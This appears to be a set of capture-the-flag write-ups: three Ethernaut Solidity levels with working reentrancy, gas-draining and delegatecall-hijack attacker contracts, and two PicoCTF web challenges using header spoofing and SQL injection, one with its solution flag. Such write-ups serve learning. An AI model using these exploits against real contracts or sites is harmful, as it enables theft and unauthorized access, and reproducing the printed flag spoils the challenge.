Ethernaut - 10. Reentrancy

Difficulty: 🌕🌕🌕🌑🌑

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.
  • See the Help page above, section “Beyond the console”

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Writeup

  1. Get new instance.
  2. Get contract’s balance.
    
     await getBalance(contract.address)
     // 0.001
    
    
  3. Create a contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.0;
    
     interface IReentrance {
         function donate(address _to) external payable;
         function withdraw(uint256 _amount) external;
     }
    
     contract ReentrancyAttacker {
         IReentrance levelInstance;
         uint targetValue = 0.001 ether;
    
         constructor(address _levelInstance) {
             levelInstance = IReentrance(_levelInstance);
         }
    
         function attack() public {
             levelInstance.withdraw(targetValue);
         }
    
         fallback() external payable {
             levelInstance.withdraw(targetValue);
         }
     }
    
  4. Compile and deploy with Reentrance instance address.
  5. Donate 0.001 ether to our ReentrancyAttacker contract.
    
     await contract.donate('REENTRANCYATTACKER_CONTRACT_ADDRESS', {value: 0.001 })
    
    
  6. Call attack function in the ReentrancyAttacker.
  7. Submit instance ξ( ✿>◡❛)

Ethernaut - 20. Denial

Difficulty: 🌕🌕🌕🌑🌑

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Writeup

There is a line partner.call{value:amountToSend}(""); in the function withdraw(). So we can create a parner contract and write some malicious code in fallback function to drain all gas.

  1. Get new instance.
  2. Create a new contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     interface IDenial {
         function withdraw() external;
         function setWithdrawPartner(address _partner) external;
     }
    
     contract DenialAttacker {
         fallback () external payable {
             IDenial(msg.sender).withdraw();
         }
     }
    
  3. Compile and deploy.
  4. Call setWithdrawPartner method.
    
     await contract.setWithdrawPartner('YOUR_DENIALATTACKER_CONTRACT_ADDRESS')
    
    
  5. Submit instance ξ( ✿>◡❛)

Ethernaut - 16. Preservation

Difficulty: 🌕🌕🌕🌕🌑

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
  • Understanding what it means for delegatecall to be context-preserving.
  • Understanding how storage variables are stored and accessed.
  • Understanding how casting works between different data types.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

Writeup

The key to solve this level is delegatecall(). You can learn the detail in this website.

  1. Get new instance.
  2. Create a new contract
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     contract PreservationAttacker {
         address public timeZone1Library;
         address public timeZone2Library;
         address public owner; 
         uint storedTime;
    
         function setTime(uint _time) public {
             owner = msg.sender;
         }
     }
    
  3. Compile and deploy. My contract address is 0x666EEeb5D57C908b582155D28A2fD46193f07325.
  4. Convert datatype address to uint256 by padding 24 zero to the left of address. I got 0x000000000000000000000000666EEeb5D57C908b582155D28A2fD46193f07325.
  5. Call the method to change address timeZone1Library to our malicious contract address.
    
     await contract.setFirstTime('0x000000000000000000000000666EEeb5D57C908b582155D28A2fD46193f07325')
    
    
  6. Check timeZone1Library address.
    
     await contract.timeZone1Library()
     // '0x666EEeb5D57C908b582155D28A2fD46193f07325'
    
    
  7. Call the method to invoke malicous setTime(uint256) to change owner to our account address.
    
     await contract.setFirstTime('123')
    
    
  8. Check owner.
    
     await contract.owner()
     // '0xa450CD84Ac7E1cC1D6c5b28b275B7706E1C4e065' <- my account address!
    
    
  9. Submit instance ξ( ✿>◡❛)

PicoCTF - Who are you?

Challenge

Tags

PicoCTF 2021 / Web Exploitation

Description

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn
http://mercury.picoctf.net:52362/

Writeup

Note that everyone ‘s port and flag are different!

  1. Visit this site, it says: Only people who use the official PicoBrowser are allowed on this site! So I use ThunderClient to request website and change User-Agent in the header to PicoBrowser.
  2. It says: I don’t trust users visiting from another site. So we can add the key of Referer with the value http://mercury.picoctf.net:52362/ to the header and request website again.
  3. It says: Sorry, this site only worked in 2018. So we can add the key of Date with the value 1 Jan 2018 to the header and request website again.
  4. It says: I don’t trust users who can be tracked. So we can add the key of DNT which means do not track with the value 1 to the header and request website again.
  5. It says: This website is only for people from Sweden. So we can add the key of X-Forwarded-For, which can change the originating IP, with the value random Sweden IP address to the header and request website again.
  6. It says: You’re in Sweden but you don’t speak Swedish? So we can add the key of Accept-Language with the value sv to the header and request website again. Then we can get the flag! ٩(^ᴗ^)۶
  7. Header should be like : remix

PicoCTF - SQLiLite

Challenge

Tags

PicoCTF 2022 / Web Exploitation / sql

Description

Can you login to this website?

Writeup

  1. Launch instance.
  2. Login with random username and password. I use admin as username and xx as password. remix
  3. Now we know the SQL query command, we can use SQL Injection to exploit it.
  4. Use OR 1=1--' as username and password to login again. remix
  5. The flag is hidden. So inspect elements to find it. remix
  6. Here’s flag: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21} ٩(^ᴗ^)۶